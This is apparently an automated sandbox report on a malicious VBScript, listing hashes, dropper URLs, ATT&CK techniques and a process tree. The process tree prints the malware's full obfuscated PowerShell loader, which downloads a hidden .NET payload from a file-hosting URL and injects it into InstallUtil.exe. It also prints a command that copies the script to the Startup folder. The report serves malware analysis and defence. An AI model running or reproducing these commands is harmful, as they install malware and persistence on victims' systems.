3f02410281c8e454be1e326c2817f006806d6e5d89948207203b7ee64f940d7f

General

Target

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs
Size

12KB
MD5

8825e4591cadaec1fb1d0082f84c2398
SHA1

39fca0a522686f7b9b2b9dc5e5874aebcf231159
SHA256

61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa
SHA512

d5b9c70136aaef8ca9aa1dfb32225632b69de90310ba4f9dcf35567ed58cfd6da8a6fbede4714a19ff41310af0e04bc54c7c6a95060840918efc5a31893fa2c9
SSDEEP

96:J86ymyaynXnLbv+mfupmtsgOgjAC9LFgtYif8fTFsgH2vX5bUdnL7vcumuZ4Y5Wx:JttRS/GpqDzj1eUhDH2Rb8RX1GHRkfkx

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 4456 WScript.exe
5 4456 WScript.exe
28 832 powershell.exe
36 832 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3740 powershell.exe
2300 powershell.exe
832 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
3	4456	WScript.exe
5	4456	WScript.exe
28	832	powershell.exe
36	832	powershell.exe

pid	process
3740	powershell.exe
2300	powershell.exe
832	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

Processes:

WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 832 set thread context of 4292 832 powershell.exe InstallUtil.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

InstallUtil.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

4448 cmd.exe
1976 PING.EXE
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1976 PING.EXE

description	pid	process	target process
PID 832 set thread context of 4292	832	powershell.exe	InstallUtil.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

pid	process
4448	cmd.exe
1976	PING.EXE

pid	process
1976	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3740 powershell.exe
3740 powershell.exe
2300 powershell.exe
2300 powershell.exe
832 powershell.exe
832 powershell.exe

pid	process
3740	powershell.exe
3740	powershell.exe
2300	powershell.exe
2300	powershell.exe
832	powershell.exe
832	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exeInstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	4292	InstallUtil.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.execmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4456 wrote to memory of 4448	4456	WScript.exe	cmd.exe
PID 4456 wrote to memory of 4448	4456	WScript.exe	cmd.exe
PID 4448 wrote to memory of 1976	4448	cmd.exe	PING.EXE
PID 4448 wrote to memory of 1976	4448	cmd.exe	PING.EXE
PID 4448 wrote to memory of 3740	4448	cmd.exe	powershell.exe
PID 4448 wrote to memory of 3740	4448	cmd.exe	powershell.exe
PID 4456 wrote to memory of 2300	4456	WScript.exe	powershell.exe
PID 4456 wrote to memory of 2300	4456	WScript.exe	powershell.exe
PID 2300 wrote to memory of 832	2300	powershell.exe	powershell.exe
PID 2300 wrote to memory of 832	2300	powershell.exe	powershell.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe
PID 832 wrote to memory of 4292	832	powershell.exe	InstallUtil.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'|').REplACE('PhR','$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
731e9e4becec0b1ef9caad4b3562d4b4

SHA1
6dffb77aba4e92ad5bd4b7c02fdee6f328bcd457

SHA256
71c7eca538938fa4d5b470fee41cfe43734e9beb9ae409d5b41111fa1a15c2d5

SHA512
841cf559ae5b0feec4be43018717641399b3602a553112e98b07d498f1a44169924466abc7e2313b8e8cf1c0fdc1bb7635e2818aab8269b0ef349a0ba0cd6ae5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
52a447f8d634b26ced145134b6d16759

SHA1
e3beec9fed95623719bca43e1d6f9bef35795ad5

SHA256
3f748a6fc6fd834d2aa92f2741db796ed67fb4ceb5f4713d9c6660bb114c274f

SHA512
3404ed0a8aff0ddc00a31dceca14617b499c37f59334593442966be624104379371e023456fcb7697a097ef30ad9921c34261c19d4f76d8ef9aa3ecdba77dd2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pv2wpsy.qin.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/832-38-0x000002253D710000-0x000002253D868000-memory.dmp

Filesize
1.3MB

Download
memory/3740-13-0x00007FFD81440000-0x00007FFD81F01000-memory.dmp

Filesize
10.8MB

Download
memory/3740-17-0x00007FFD81440000-0x00007FFD81F01000-memory.dmp

Filesize
10.8MB

Download
memory/3740-14-0x00007FFD81440000-0x00007FFD81F01000-memory.dmp

Filesize
10.8MB

Download
memory/3740-1-0x00007FFD81443000-0x00007FFD81445000-memory.dmp

Filesize
8KB

Download
memory/3740-12-0x00007FFD81440000-0x00007FFD81F01000-memory.dmp

Filesize
10.8MB

Download
memory/3740-11-0x0000022C65660000-0x0000022C65682000-memory.dmp

Filesize
136KB

Download
memory/4292-39-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/4292-45-0x0000000005D50000-0x0000000005D5A000-memory.dmp

Filesize
40KB

Download
memory/4292-46-0x0000000005E00000-0x0000000005E9C000-memory.dmp

Filesize
624KB

Download
memory/4292-47-0x0000000006450000-0x00000000069F4000-memory.dmp

Filesize
5.6MB

Download
memory/4292-48-0x0000000005F10000-0x0000000005F76000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads